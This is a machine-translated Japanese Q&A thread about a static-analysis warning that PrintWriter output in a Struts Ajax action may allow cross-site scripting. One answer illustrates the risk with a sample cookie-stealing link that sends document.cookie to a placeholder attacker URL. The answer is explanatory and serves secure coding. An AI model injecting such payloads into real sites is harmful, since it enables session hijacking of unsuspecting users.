2012-04-11 15 views
2

私はいくつかのタスクにAjaxを使用するWebアプリケーションを持っています。それはJavaをミドルウェアとして持っています(Struts 1.x)JavaベースのサーバーでAjaxを使用するWebアプリケーション - セキュリティ関連

私のアプリケーションは、静的コード分析を使用して潜在的なセキュリティリスクについて分析されています。この分析では、次のコードの使用が脆弱であると判断されています。

// Method invoked by Ajax 
public ActionForward execute(...) 
{ 
    PrintWriter out = response.getWriter(); 

    out.println("Ajax Response"); 

    return null; 
} 

報告書は明らかにのPrintWriterの使用は、XSS(クロスサイトスクリプティング)に有害と傾向があることを言及しています。 これは潜在的な脅威であるが、有用なものは何も見つかりませんでした。 これが問題で、私の選択肢は何かを教えてください。

EDIT - 問題は、それがpotencial脅威である out.printlnを文で

おかげで、 シッダールタ

+0

に役立ちますか?これを楽しみにしている人々が学ぶことができるように? – zigdon

+0

@zigdon申し訳ありませんが、私はあなたを取得していません。 – Sid

答えて

1

XSSに関する多くの情報がオンラインで見つかることがありますが、これをテストし回避する方法については非常に詳細な説明がほとんどありません。これは、いくつかの研究が必要なものの1つです。私があなたに例を挙げてみましょう。あなたが提供するコードが問題の原因かもしれないし、そうでないかもしれません。

あなたのHTMLページがバックエンドへのajax呼び出しを行い、結果を返すとします。私はちょうどあなたがデータを単に検証することなく、追加されたことがわかります成功した後、あなたに

$.each(data, function(){
$('div.result').append(this);
);

をjqueryの例を与えています。どのようなデータがスクリプトキディから来て、あなたの入力を検証していないため、ユーザーはただ何も入力することができますし、上記のコードは、これまでのリンクをクリックした人のクッキーを盗むでしょう

//this might not be the correct syntax 
<a href="http://somehackerurl.com/hack.php?"+document.cookie>test</a> 

を入力した場合。

希望これはおそらく、out.println` `で問題と答えを追加

+0

返信いただきありがとうございます@mezzie – Sid

1

XSSを発見しました。 Here、あなたはそれについての情報を見つけて、XSSについてのご質問を解決しますを更新し

を脆弱性:

私はトップ10 OWASP脆弱性もreference

関連する問題